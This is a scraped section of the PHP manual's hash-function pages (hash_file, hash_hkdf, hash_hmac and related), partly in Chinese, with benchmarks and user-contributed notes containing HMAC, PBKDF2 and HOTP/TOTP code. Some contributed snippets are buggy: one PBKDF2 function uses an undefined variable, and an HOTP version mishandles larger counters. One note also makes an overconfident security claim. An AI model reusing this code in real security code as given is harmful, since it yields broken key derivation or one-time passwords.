ALGO: tiger128,3, time: 9.3075330257416
ALGO: tiger160,3, time: 9.1875250339508
ALGO: tiger192,3, time: 9.3875370025635
ALGO: tiger128,4, time: 9.1755249500275
ALGO: tiger160,4, time: 9.355535030365
ALGO: tiger192,4, time: 9.2025260925293
ALGO: snefru, time: 42.781446218491
ALGO: snefru256, time: 42.613437175751
ALGO: gost, time: 18.606064081192
ALGO: gost-crypto, time: 18.664067983627
ALGO: adler32, time: 9.1535229682922
ALGO: crc32, time: 10.126579999924
ALGO: crc32b, time: 10.01757311821
ALGO: fnv132, time: 9.7505569458008
ALGO: fnv1a32, time: 9.7935597896576
ALGO: fnv164, time: 9.8945660591125
ALGO: fnv1a64, time: 9.3025319576263
ALGO: joaat, time: 9.7175559997559
ALGO: haval128,3, time: 9.6855540275574
ALGO: haval160,3, time: 10.10857796669
ALGO: haval192,3, time: 9.6765530109406
ALGO: haval224,3, time: 20.636180877686
ALGO: haval256,3, time: 10.641607999802
ALGO: haval128,4, time: 7.5594329833984
ALGO: haval160,4, time: 7.2884171009064
ALGO: haval192,4, time: 7.2934169769287
ALGO: haval224,4, time: 7.2964169979095
ALGO: haval256,4, time: 7.3034179210663
ALGO: haval128,5, time: 8.3244760036469
ALGO: haval160,5, time: 8.3174757957458
ALGO: haval192,5, time: 8.3204758167267
ALGO: haval224,5, time: 8.3234758377075
ALGO: haval256,5, time: 8.3254759311676

bench 13,0 Mo, win is 'adler32'  : 0.037002

ALGO: md2, time: 2.0341160297394
ALGO: md4, time: 0.062004089355469
ALGO: md5, time: 0.071003913879395
ALGO: sha1, time: 0.086004972457886
ALGO: sha224, time: 0.18301010131836
ALGO: sha256, time: 0.18301105499268
ALGO: sha384, time: 0.36102104187012
ALGO: sha512, time: 0.3610200881958
ALGO: ripemd128, time: 0.15900897979736
ALGO: ripemd160, time: 0.20701193809509
ALGO: ripemd256, time: 0.16500997543335
ALGO: ripemd320, time: 0.22501301765442
ALGO: whirlpool, time: 0.74204206466675
ALGO: tiger128,3, time: 0.12200689315796
ALGO: tiger160,3, time: 0.12100696563721
ALGO: tiger192,3, time: 0.12200713157654
ALGO: tiger128,4, time: 0.15700888633728
ALGO: tiger160,4, time: 0.15700888633728
ALGO: tiger192,4, time: 0.15600895881653
ALGO: snefru, time: 1.1520659923553
ALGO: snefru256, time: 1.151065826416
ALGO: gost, time: 0.48902797698975
ALGO: gost-crypto, time: 0.49202799797058
ALGO: adler32, time: 0.037002086639404
ALGO: crc32, time: 0.10300588607788
ALGO: crc32b, time: 0.093006134033203
ALGO: fnv132, time: 0.043002128601074
ALGO: fnv1a32, time: 0.045002937316895
ALGO: fnv164, time: 0.12800693511963
ALGO: fnv1a64, time: 0.12800693511963
ALGO: joaat, time: 0.070003986358643
ALGO: haval128,3, time: 0.12900686264038
ALGO: haval160,3, time: 0.12800693511963
ALGO: haval192,3, time: 0.12900805473328
ALGO: haval224,3, time: 0.12800693511963
ALGO: haval256,3, time: 0.12800693511963
ALGO: haval128,4, time: 0.19901204109192
ALGO: haval160,4, time: 0.1990110874176
ALGO: haval192,4, time: 0.20001196861267
ALGO: haval224,4, time: 0.20001101493835
ALGO: haval256,4, time: 0.20001220703125
ALGO: haval128,5, time: 0.22601294517517
ALGO: haval160,5, time: 0.2270131111145
ALGO: haval192,5, time: 0.2270131111145
ALGO: haval224,5, time: 0.2270131111145
ALGO: haval256,5, time: 0.22701287269592
holdoffhunger at gmail dot com 30-Jun-2012 01:03
The Hash_File() function returns the same value as if the function Hash() had been performed on the same exact piece of data.  At first, I was uncertain if Hash_File() used the filename, or even the permission settings, when defining the data to be hashed for the given algorithm.  If it did work that way, then that means the same exact files would have different HASH values when you moved or renamed them on your system.  Anyway, fortunately, it does not work that way.  Hash() and Hash_File() produce identical results for the same pieces of data.  This is also true for the relationship between the Hash_HMAC() and Hash_HMAC_File() functions: the same pieces of data, the same keys, produce identical results.  It was a wise, design principle.

Some sample code to demonstrate this principle :

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Data
        // ------------------------------------------------

    $test_data = "php-hashing";
    $test_file = "test.txt";
    $test_file_read = file_get_contents($test_file);

        // Hash Data
        // ------------------------------------------------

    $test_data_hash = hash("md2", $test_data, FALSE);
    $test_file_hash = hash_file("md2", $test_file, FALSE);

        // Print Hash Results
        // ------------------------------------------------

    print("Data Hash ($test_data): $test_data_hash<br><br>");
    print("File Hash ($test_file_read): $test_file_hash");

?>

    Expected Results
    ..................................

Data Hash (php-hashing): 457d84e1d69e519a7b73348db21477d3

File Hash (php-hashing): 457d84e1d69e519a7b73348db21477d3
apm at domain itsmee.co.uk 10-Jul-2011 04:56
I have verified that the output of the "crc32" is the ITU I.363.5 algorithm (a.k.a. AAL5 CRC - popularised by BZIP2 but also used in ATM transmissions - the algorithm is the same as that in POSIX 1003.2-1992 in Cksum but that stuffs the size into the CRC at the end for extra measure).  However, the output is expressed in reverse order to many CRC programs.  Using the "standard" crctest.txt (numbers 1 to 9 in sequence - google it, it's not hard to find), php will output 181989fc - many other (Intel little endian) programs would output this as fc891918, hence the confusion (that I have had, at least).

The crc32b is the 32-bit Frame Check Sequence of ITU V.42 (used in Ethernet and popularised by PKZip).  The output from this CRC is popularised in Intel little endian format and would produce cbf43926 on the same file.
Anonymous 26-Apr-2011 09:55
Please take note that hash-file will throw error on files >=2GB.
chernyshevsky at hotmail dot com 22-Sep-2010 04:01
If you want to use hash_file() to get the CRC32 value of a file, use the following to unpack the hex string returned by the function to an integer (similar to crc32()):

$hash = hash_file('crc32b', $filepath);
$array = unpack('N', pack('H*', $hash));
$crc32 = $array[1];
Keisial at gmail dot com 11-Sep-2008 11:46
The 'octets reversed' you are seeing is the bug 45028 which has been fixed. http://bugs.php.net/bug.php?id=45028

The difference between crc32 and crc32b is explained on mhash man page. crc32 is the one used on ethernet, while crc32b is the one used on zip, png... They differ on the table used.
allaryin at gmail dot com 23-Jul-2008 03:16
For those who are wondering, there appears to be no fundamental difference between hash_file('md5')/hash_file('sha1') and md5_file()/sha1_file(). They produce identical output and have comparable performance.

There is, however, a difference between hash_file('crc32') and something silly like crc32(file_get_contents()).

crc32(file_get_contents())'s results are most similar to those of hash_file('crc32b'), just with the octets reversed:

<?php
$fname = "something.png";

$hash = hash_file( 'crc32', $fname );
echo "crc32  = $hash\n";

$hash = hash_file( 'crc32b', $fname );
echo "crc32b = $hash\n";

$hash = sprintf("%x",crc32(file_get_contents($fname)));
echo "manual = $hash\n";
?>

crc32  = f41d7f4e
crc32b = 7dafbba4
manual = a4bbaf7d


结束增量散列且返回摘要结果

  • ? hash_file
  • hash_hkdf ?
  • PHP Manual
  • Hash 函数
  • 结束增量散列且返回摘要结果

hash_final

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_final — 结束增量散列且返回摘要结果

说明

hash_final(HashContext $context, bool $binary = false): string

参数

context

hash_init() 返回的散列上下文资源。

binary

设置为 true，输出格式为原始的二进制数据。 设置为 false，输出小写的 16 进制字符串。

返回值

如果 binary 设置为 true， 则返回原始二进制数据表示的信息摘要， 否则返回 16 进制小写字符串格式表示的信息摘要。

更新日志

版本 | 说明
7.2.0 | 接收参数从资源类型修改为 HashContext 对象类型。

参见

  • hash_init() - 初始化增量散列运算上下文
  • hash_update() - 向活跃的哈希运算上下文中填充数据
  • hash_update_stream() - 从打开的流向活跃的散列运算上下文中填充数据
  • hash_update_file() - 从文件向活跃的散列运算上下文中填充数据

User Contributed Notes

There are no user contributed notes for this page.


Generate a HKDF key derivation of a supplied key input

  • ? hash_final
  • hash_hmac_algos ?
  • PHP Manual
  • Hash 函数
  • Generate a HKDF key derivation of a supplied key input

hash_hkdf

(PHP 7 >= 7.1.2, PHP 8)

hash_hkdf — Generate a HKDF key derivation of a supplied key input

说明

hash_hkdf(
string $algo,
string $key,
int $length = 0,
string $info = "",
string $salt = ""
): string

参数

algo

Name of selected hashing algorithm (i.e. "sha256", "sha512", "haval160,4", etc..) See hash_algos() for a list of supported algorithms.

Note:

Non-cryptographic hash functions are not allowed.

key

Input keying material (raw binary). Cannot be empty.

length

Desired output length in bytes. Cannot be greater than 255 times the chosen hash function size.

If length is 0, the output length will default to the chosen hash function size.

info

Application/context-specific info string.

salt

Salt to use during derivation.

While optional, adding random salt significantly improves the strength of HKDF.

返回值

Returns a string containing a raw binary representation of the derived key (also known as output keying material - OKM).

错误／异常

Throws a ValueError exception if key is empty, algo is unknown/non-cryptographic, length is less than 0 or too large (greater than 255 times the size of the hash function).

更新日志

版本 | 说明
8.0.0 | Now throws a ValueError exception on error. Previously, false was returned and an E_WARNING message was emitted.

示例

Example #1 hash_hkdf() example

<?php
// Generate a random key, and salt to strengthen it during derivation.
$inputKey = random_bytes(32);
$salt = random_bytes(16);

// Derive a pair of separate keys, using the same input created above.
$encryptionKey = hash_hkdf('sha256', $inputKey, 32, 'aes-256-encryption', $salt);
$authenticationKey = hash_hkdf('sha256', $inputKey, 32, 'sha-256-authentication', $salt);

var_dump($encryptionKey !== $authenticationKey); // bool(true)
?>

The above example produces a pair of separate keys, suitable for creation of an encrypt-then-HMAC construct, using AES-256 and SHA-256 for encryption and authentication respectively.

参见

  • hash_pbkdf2() - 生成所提供密码的 PBKDF2 密钥导出
  • » RFC 5869
  • » userland implementation

User Contributed Notes

landers dot robert at gmail dot com 13-Jul-2022 03:42
Make sure the info parameter contains random elements.

From: https://soatok.blog/2021/11/17/understanding-hkdf/


返回适用于 hash_hmac 的已注册散列算法列表

  • ? hash_hkdf
  • hash_hmac_file ?
  • PHP Manual
  • Hash 函数
  • 返回适用于 hash_hmac 的已注册散列算法列表

hash_hmac_algos

(PHP 7 >= 7.2.0, PHP 8)

hash_hmac_algos — 返回适用于 hash_hmac 的已注册散列算法列表

说明

hash_hmac_algos(): array

参数

此函数没有参数。

返回值

返回数字索引数组，包含适用于 hash_hmac() 支持的散列算法列表。

示例

Example #1 hash_hmac_algos() 示例

<?php
print_r(hash_hmac_algos());

以上示例的输出类似于：

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512/224
    [8] => sha512/256
    [9] => sha512
    [10] => sha3-224
    [11] => sha3-256
    [12] => sha3-384
    [13] => sha3-512
    [14] => ripemd128
    [15] => ripemd160
    [16] => ripemd256
    [17] => ripemd320
    [18] => whirlpool
    [19] => tiger128,3
    [20] => tiger160,3
    [21] => tiger192,3
    [22] => tiger128,4
    [23] => tiger160,4
    [24] => tiger192,4
    [25] => snefru
    [26] => snefru256
    [27] => gost
    [28] => gost-crypto
    [29] => haval128,3
    [30] => haval160,3
    [31] => haval192,3
    [32] => haval224,3
    [33] => haval256,3
    [34] => haval128,4
    [35] => haval160,4
    [36] => haval192,4
    [37] => haval224,4
    [38] => haval256,4
    [39] => haval128,5
    [40] => haval160,5
    [41] => haval192,5
    [42] => haval224,5
    [43] => haval256,5
)

注释

Note:

在 PHP 7.2.0 之前，获取支持的散列算法列表的唯一方法是调用 hash_algos()，该方法也会返回不适合 hash_hmac() 的散列算法。

参见

  • hash_hmac() - 使用 HMAC 方法生成带有密钥的散列值
  • hash_algos() - 返回已注册的散列算法列表

User Contributed Notes

There are no user contributed notes for this page.


使用 HMAC 方法和给定文件的内容生成带密钥的散列值

  • ? hash_hmac_algos
  • hash_hmac ?
  • PHP Manual
  • Hash 函数
  • 使用 HMAC 方法和给定文件的内容生成带密钥的散列值

hash_hmac_file

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_hmac_file — 使用 HMAC 方法和给定文件的内容生成带密钥的散列值

说明

hash_hmac_file(
string $algo,
string $filename,
string $key,
bool $binary = false
): string|false

参数

algo

要使用的散列算法名称，例如："md5"，"sha256"，"haval160,4" 等。 如何获取受支持的算法清单，请参见 hash_hmac_algos() 函数。

filename

要进行散列运算的文件路径，支持 fopen 封装器。

key

使用 HMAC 生成信息摘要时所使用的密钥。

binary

设置为 true 输出原始二进制数据， 设置为 false 输出小写 16 进制字符串。

返回值

如果 binary 设置为 true， 则返回原始二进制数据表示的信息摘要，否则返回 16 进制小写字符串格式表示的信息摘要。如果无法读取文件 filename，则返回 false。

错误／异常

如果 algo 未知或非加密散列函数，则抛出 ValueError 异常。

更新日志

版本 | 说明
8.0.0 | 如果 algo 未知或非加密散列函数，现在抛出 ValueError 异常，之前返回 false。
7.2.0 | 禁用非加密散列函数（adler32、crc32、crc32b、fnv132、fnv1a32、fnv164、fnv1a64、joaat）。

示例

Example #1 hash_hmac_file() 示例

<?php
/* 创建一个要计算散列值的文件 */
file_put_contents('example.txt', 'The quick brown fox jumped over the lazy dog.');

echo hash_hmac_file('sha256', 'example.txt', 'secret');
?>

以上示例会输出：

9c5c42422b03f0ee32949920649445e417b2c634050833c5165704b825c2a53b

参见

  • hash_hmac_algos() - 返回适用于 hash_hmac 的已注册散列算法列表
  • hash_hmac() - 使用 HMAC 方法生成带有密钥的散列值
  • hash_file() - 给指定文件的内容生成散列值

User Contributed Notes

There are no user contributed notes for this page.


使用 HMAC 方法生成带有密钥的散列值

  • ? hash_hmac_file
  • hash_init ?
  • PHP Manual
  • Hash 函数
  • 使用 HMAC 方法生成带有密钥的散列值

hash_hmac

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_hmac — 使用 HMAC 方法生成带有密钥的散列值

说明

hash_hmac(
string $algo,
string $data,
string $key,
bool $binary = false
): string

参数

algo

要使用的散列算法名称，例如："md5"、"sha256"、"haval160,4"等。如何获取受支持的算法清单，请参见 hash_hmac_algos() 函数。

data

要进行散列运算的消息。

key

使用 HMAC 生成信息摘要时所使用的密钥。

binary

设置为 true 输出原始二进制数据，设置为 false 输出小写 16 进制字符串。

返回值

如果 binary 设置为 true，则返回原始二进制数据表示的信息摘要，否则返回 16 进制小写字符串格式表示的信息摘要。

错误／异常

如果 algo 未知或非加密散列函数，则抛出 ValueError 异常。

更新日志

版本 | 说明
8.0.0 | 如果 algo 未知或者非加密散列函数，现在将抛出 ValueError 异常；以前返回 false。
7.2.0 | 不再支持非加密的散列函数（adler32、crc32、crc32b、fnv132、fnv1a32、fnv164、fnv1a64、joaat）。

示例

Example #1 hash_hmac() 示例

<?php
echo hash_hmac('sha256', 'The quick brown fox jumped over the lazy dog.', 'secret');
?>

以上示例会输出：

9c5c42422b03f0ee32949920649445e417b2c634050833c5165704b825c2a53b

参见

  • hash() - 生成散列值（消息摘要）
  • hash_hmac_algos() - 返回适用于 hash_hmac 的已注册散列算法列表
  • hash_init() - 初始化增量散列运算上下文
  • hash_hmac_file() - 使用 HMAC 方法和给定文件的内容生成带密钥的散列值
  • hash_equals() - 可防止时序攻击的字符串比较

User Contributed Notes

pbuttelli at tutanota dot com 21-Dec-2022 09:23
While implementing a TOTP application, please note that hash_hmac() must receive data in binary, not in a hexadecimal string, to generate a valid OTP across platforms.

This problem can be easily fixed by converting a hexadecimal string to its binary form before passing it to hash_hmac().

<?php
$time = hex2bin('0000000003523f77'); // time must be in this "hexadecimal and padded" form
$key = hex2bin('bb57d1...'); // 160-bits = 40-digit hexadecimal (4 bits) = 32-digit base32 (5 bits)

hash_hmac('sha1', $time, $key);
?>
Pawel M. 11-Mar-2021 10:32
Function for those, who really need to use crc32 algorithm in PHP>7.1

<?php
    function hash_hmac_crc32(string $key, string $data): string
    {
        $b = 4;
        if (strlen($key) > $b) {
            $key = pack("H*", hash('crc32', $key));
        }
        $key  = str_pad($key, $b, chr(0x00));
        $ipad = str_pad('', $b, chr(0x36));
        $opad = str_pad('', $b, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;
        return hash('crc32', $k_opad . hash('crc32', $k_ipad . $data, true));
    }
?>
Korbendallas 23-Apr-2018 08:46
Very important notice, if you pass array to $data, php will generate a Warning, return a NULL and continue your application. Which I think is critical vulnerability as this function used to check authorisation typically.

Example:
<?php
var_dump(hash_hmac('sha256', [], 'secret'));

WARNING hash_hmac() expects parameter 2 to be string, array given on line number 3
NULL
?>
Of course not documented feature.
omidbahrami1990 at gmail dot com 06-Dec-2017 12:02
This Is The Most Secure Way To Hash Your Data,
It Will Be Almost Impossible To Retrieve Your Data.
--------------------------------------------------------
 --- Create Two Random Keys And Save Them In Your Configuration File ---
<?php
// Create A Random Key
echo base64_encode(openssl_random_pseudo_bytes(64));
?>
--------------------------------------------------------
<?php
// Save The Keys In Your Configuration File
define('FIRSTKEY','TNYazlbZ1Mq3HDMiEFDLrRMZBftFqpU2Ipytgytsc+jmQysE8lmigKtmGK+exB337ZOcAgwPpWmoPHL5niO3jA==');
define('SECONDKEY','z5hh/Kax4+HKZ8exOlvGlrHev/6ZynOEn904yiiIcWo/qLXWSfLkzm4NSJiGXu4uR7xxUowOkO26VqAi2p2DYQ==');
?>
--------------------------------------------------------
<?php
function secured_hash($data)
{
$first_key = base64_decode(FIRSTKEY);
$second_key = base64_decode(SECONDKEY);

$first_hashed = hash_hmac('sha3-512', $data, $first_key, TRUE);
$second_hashed = hash_hmac('sha3-512', $first_hashed, $second_key);

return $second_hashed;
}
?>
Michiel Thalen, Thalent 13-Oct-2016 03:54
As  Michael  uggests we should take care not to compare the hash using == (or ===). Since PHP version 5.6 we can now use hash_equals().

So the example will be:

<?php
    if (hash_equals($hashed_expected, $hashed_value) ) {
        echo "hashes match!";
    }
?>
droidlabour at gmail dot com 31-Mar-2016 06:24
For signing an Amazon AWS query, base64-encode the binary value:

<?php
echo base64_encode(hash_hmac("sha1", $Request, $AmazonSecretKey, true));
?>
Michael 19-Feb-2013 08:52
Please be careful when comparing hashes. In certain cases, information can be leaked by using a timing attack. It takes advantage of the == operator only comparing until it finds a difference in the two strings. To prevent it, you have two options.

Option 1: hash both hashed strings first - this doesn't stop the timing difference, but it makes the information useless.

<?php
    if (md5($hashed_value) === md5($hashed_expected)) {
        echo "hashes match!";
    }
?>

Option 2: always compare the whole string.

<?php
    if (hash_compare($hashed_value, $hashed_expected)) {
        echo "hashes match!";
    }

    function hash_compare($a, $b) {
        if (!is_string($a) || !is_string($b)) {
            return false;
        }

        $len = strlen($a);
        if ($len !== strlen($b)) {
            return false;
        }

        $status = 0;
        for ($i = 0; $i < $len; $i++) {
            $status |= ord($a[$i]) ^ ord($b[$i]);
        }
        return $status === 0;
    }
?>
pete dot walker at NOSPAM dot me dot com 08-Oct-2012 02:13
A function implementing the algorithm outlined in RFC 6238 (http://tools.ietf.org/html/rfc6238)

<?php
/**
 * This function implements the algorithm outlined
 * in RFC 6238 for Time-Based One-Time Passwords
 *
 * @link http://tools.ietf.org/html/rfc6238
 * @param string $key    the string to use for the HMAC key
 * @param mixed  $time   a value that reflects a time (unix
 *                       time in the example)
 * @param int    $digits the desired length of the OTP
 * @param string $crypto the desired HMAC crypto algorithm
 * @return string the generated OTP
 */
function oauth_totp($key, $time, $digits=8, $crypto='sha256')
{
    $digits = intval($digits);
    $result = null;

    // Convert counter to binary (64-bit)
    $data = pack('NNC*', $time >> 32, $time & 0xFFFFFFFF);

    // Pad to 8 chars (if necessary)
    if (strlen ($data) < 8) {
        $data = str_pad($data, 8, chr(0), STR_PAD_LEFT);
    }

    // Get the hash
    $hash = hash_hmac($crypto, $data, $key);

    // Grab the offset
    $offset = 2 * hexdec(substr($hash, strlen($hash) - 1, 1));

    // Grab the portion we're interested in
    $binary = hexdec(substr($hash, $offset, 8)) & 0x7fffffff;

    // Modulus
    $result = $binary % pow(10, $digits);

    // Pad (if necessary)
    $result = str_pad($result, $digits, "0", STR_PAD_LEFT);

    return $result;
}
?>
relevant at celsius dot ee 14-Jul-2012 12:52
<?php
/* Here is a solution for those who used hash_hmac
   with Tiger algorithm in PHP 5.1 - 5.3
   and want to upgrade to PHP 5.4 (or newer?).

   The problem occured because the order of bytes for Tiger
   was changed to big endian since PHP 5.4.0.

   The two functions below assert $algo is one of Tiger algorithms,
   for example tiger160,4.
   */

# replaces hash('tiger...
function hash_tiger_rev($algo, $data, $raw_output = false) {
    $len = intval(substr($algo, 5, 3)); # 128, 160 or 192 bits
    $times = substr($algo, 9, 1); # 3 or 4
    $revhash = implode("", array_map("strrev",
        str_split(hash('tiger192,'.$times, $data, true), 8)));
    if ($len < 192) $revhash = substr($revhash, 0, $len >> 3);
    return $raw_output? $revhash: bin2hex($revhash);
}

# replaces hash_hmac('tiger...
function hash_hmac_tiger_rev($algo, $data, $key, $raw_output = false) {
    if (strlen($key) > 64) $key = hash_tiger_rev($algo, $key);
    $key = str_pad($key, 64, chr(0));
    $o_pad = str_repeat("\\", 64) ^ $key; # "\" = chr(0x5C)
    $i_pad = str_repeat("6", 64) ^ $key; # "6" = chr(0x36)
    return hash_tiger_rev($algo, $o_pad .
           hash_tiger_rev($algo, $i_pad . $data, true), $raw_output);
}

# always the new version of tiger
function hash_hmac_new($algo, $data, $key, $raw_output = false) {
    if (phpversion() > '5.4' || !preg_match('/^tiger(128|160|192),(3|4)$/', $algo))
        return hash_hmac($algo, $data, $key, $raw_output);
    else
        return hash_hmac_tiger_rev($algo, $data, $key, $raw_output);
}

# always the old version of tiger
function hash_hmac_old($algo, $data, $key, $raw_output = false) {
    if (phpversion() < '5.4' || !preg_match('/^tiger(128|160|192),(3|4)$/', $algo))
        return hash_hmac($algo, $data, $key, $raw_output);
    else
        return hash_hmac_tiger_rev($algo, $data, $key, $raw_output);
}

# let's test it
$algo = 'tiger160,4'; $pwd = 'foo'; $key = 'bar';
echo hash_hmac($algo, $pwd, $key), "<br>";
echo hash_hmac_tiger_rev($algo, $pwd, $key), "<br>";
echo "<br>";
echo hash_hmac_old($algo, $pwd, $key), "<br>";
echo hash_hmac_new($algo, $pwd, $key), "<br>";

/* With PHP 5.4 output would be
   590546d9f425188da35e5dfa53306ba3953571cc
   bd6664330ed96b9b39ee063241b62e43f546a49d

   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc

   With PHP 5.3
   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc

   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc
*/

?>
havoc at NOSPAM defuse dot ca 30-Jun-2012 04:30
Here is an efficient PBDKF2 implementation:

<?php
/*
 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
 * $algorithm - The hash algorithm to use. Recommended: SHA256
 * $password - The password.
 * $salt - A salt that is unique to the password.
 * $count - Iteration count. Higher is better, but slower. Recommended: At least 1024.
 * $key_length - The length of the derived key in bytes.
 * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
 * Returns: A $key_length-byte key derived from the password and salt.
 *
 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
 *
 * This implementation of PBKDF2 was originally created by defuse.ca
 * With improvements by variations-of-shadow.com
 */
function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false)
{
    $algorithm = strtolower($algorithm);
    if(!in_array($algorithm, hash_algos(), true))
        die('PBKDF2 ERROR: Invalid hash algorithm.');
    if($count <= 0 || $key_length <= 0)
        die('PBKDF2 ERROR: Invalid parameters.');

    $hash_length = strlen(hash($algorithm, "", true));
    $block_count = ceil($key_length / $hash_length);

    $output = "";
    for($i = 1; $i <= $block_count; $i++) {
        // $i encoded as 4 bytes, big endian.
        $last = $salt . pack("N", $i);
        // first iteration
        $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
        // perform the other $count - 1 iterations
        for ($j = 1; $j < $count; $j++) {
            $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if($raw_output)
        return substr($output, 0, $key_length);
    else
        return bin2hex(substr($output, 0, $key_length));
}
?>
martin dot papik at ipsec dot info 09-Jun-2012 07:38
Yet another OATH HOTP function. Has a 64 bit counter and is a lot shorter. Enjoy.

<?php

function oath_hotp ($secret, $ctr, $len=6) {
        $binctr = pack ('NNC*', $ctr>>32, $ctr & 0xFFFFFFFF);
        $hash = hash_hmac ("sha1", $binctr, $secret);
// This is where hashing stops and truncation begins
        $ofs = 2*hexdec (substr ($hash, 39, 1));
        $int = hexdec (substr ($hash, $ofs, 8)) & 0x7FFFFFFF;
        $pin = substr ($int, -$len);
        $pin = str_pad ($pin, $len, "0", STR_PAD_LEFT);
        return $pin;
}

?>
josefkoh at hotmail dot com 27-Jul-2011 10:24
Simple implementation of hmac sha1

<?php

function hmac_sha1($key, $data)
{
    // Adjust key to exactly 64 bytes
    if (strlen($key) > 64) {
        $key = str_pad(sha1($key, true), 64, chr(0));
    }
    if (strlen($key) < 64) {
        $key = str_pad($key, 64, chr(0));
    }

    // Outter and Inner pad
    $opad = str_repeat(chr(0x5C), 64);
    $ipad = str_repeat(chr(0x36), 64);

    // Xor key with opad & ipad
    for ($i = 0; $i < strlen($key); $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    return sha1($opad.sha1($ipad.$data, true));
}
Peter Terence Roux 23-Dec-2010 03:44
The Implementation of the PBKDF2 key derivation function as described in RFC 2898 can be used to not only get the hashed KEY but also a specific IV.

To use, one would use it as follows:-

<?php
  $p = str_hash_pbkdf2($pw, $salt, 10, 32, 'sha1');
  $p = base64_encode($p);

  $iv = str_hash_pbkdf2($pw, $salt, 10, 16, 'sha1', 32);
  $iv = base64_encode($iv);
?>

The function should be:-

<?php
  // PBKDF2 Implementation (described in RFC 2898)
  //
  // @param   string  p   password
  // @param   string  s   salt
  // @param   int     c   iteration count (use 1000 or higher)
  // @param   int     kl  derived key length
  // @param   string  a   hash algorithm
  // @param   int     st  start position of result
  //
  // @return  string  derived key
  function str_hash_pbkdf2($p, $s, $c, $kl, $a = 'sha256', $st=0)
  {
    $kb = $start+$kl;                        // Key blocks to compute
    $dk = '';                                    // Derived key

    // Create key
    for ($block=1; $block<=$kb; $block++)
    {
      // Initial hash for this block
      $ib = $h = hash_hmac($a, $s . pack('N', $block), $p, true);

      // Perform block iterations
      for ($i=1; $i<$c; $i++)
      {
        // XOR each iterate
        $ib ^= ($h = hash_hmac($a, $h, $p, true));
      }

      $dk .= $ib;                                // Append iterated block
    }

    // Return derived key of correct length
    return substr($dk, $start, $kl);
  }
?>
Siann Beck 10-Oct-2010 09:48
For signing an Amazon AWS query, base64-encode the binary value:

<?php
  $Sig = base64_encode(hash_hmac('sha256', $Request, $AmazonSecretKey, true));
?>
KC Cloyd 09-Sep-2009 11:16
Sometimes a hosting provider doesn't provide access to the Hash extension. Here is a clone of the hash_hmac function you can use in the event you need an HMAC generator and Hash is not available. It's only usable with MD5 and SHA1 encryption algorithms, but its output is identical to the official hash_hmac function (so far at least).

<?php

function custom_hmac($algo, $data, $key, $raw_output = false)
{
    $algo = strtolower($algo);
    $pack = 'H'.strlen($algo('test'));
    $size = 64;
    $opad = str_repeat(chr(0x5C), $size);
    $ipad = str_repeat(chr(0x36), $size);

    if (strlen($key) > $size) {
        $key = str_pad(pack($pack, $algo($key)), $size, chr(0x00));
    } else {
        $key = str_pad($key, $size, chr(0x00));
    }

    for ($i = 0; $i < strlen($key) - 1; $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    $output = $algo($opad.pack($pack, $algo($ipad.$data)));

    return ($raw_output) ? pack($pack, $output) : $output;
}

?>

Example Use:

<?php

custom_hmac('sha1', 'Hello, world!', 'secret', true);

?>
brent at thebrent dot net 21-May-2009 08:17
The hotp algorithms above work with counter values less than 256, but since the counter can be larger, it's necessary to iterate through all the bytes of the counter:

<?php
function oath_hotp ($key, $counter)
{
    // Counter
    //the counter value can be more than one byte long, so we need to go multiple times
    $cur_counter = array(0,0,0,0,0,0,0,0);
    for($i=7;$i>=0;$i--)
    {
        $cur_counter[$i] = pack ('C*', $counter);
        $counter = $counter >> 8;
    }
    $bin_counter = implode($cur_counter);
    // Pad to 8 chars
    if (strlen ($bin_counter) < 8)
    {
        $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
    }

    // HMAC
    $hash = hash_hmac ('sha1', $bin_counter, $key);
    return $hash;
}

function oath_truncate($hash, $length = 6)
{
    // Convert to dec
    foreach(str_split($hash,2) as $hex)
    {
        $hmac_result[]=hexdec($hex);
    }

    // Find offset
    $offset = $hmac_result[19] & 0xf;

    // Algorithm from RFC
    return
    (
        (($hmac_result[$offset+0] & 0x7f) << 24 ) |
        (($hmac_result[$offset+1] & 0xff) << 16 ) |
        (($hmac_result[$offset+2] & 0xff) << 8 ) |
        ($hmac_result[$offset+3] & 0xff)
    ) % pow(10,$length);
}
print "<pre>";
print "Compare results with:";
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<=1024;$i=$i+128)
{
   print $i."\t".($a=oath_hotp("12345678901234567890",$i));
   print "\t".oath_truncate($a)."\n";
}
?>
torben dot egmose at gmail dot com 22-Mar-2009 11:40
HOTP Algorithm that works according to the RCF http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04
The test cases from the RCF document the ASCII string as "123456787901234567890".
But the hex decoded to a string is "12345678901234567890".
Secret="12345678901234567890";
Count:
0 755224
1 287082
<?php
function oath_hotp($key,$counter) {

   // Convert to padded binary string
   $data = pack ('C*', $counter);
   $data = str_pad($data,8,chr(0),STR_PAD_LEFT);

   // HMAC
   return hash_hmac('sha1',$data,$key);
}

function oath_truncate($hash, $length = 6) {

   // Convert to dec
   foreach(str_split($hash,2) as $hex) {
      $hmac_result[]=hexdec($hex);
   }

   // Find offset
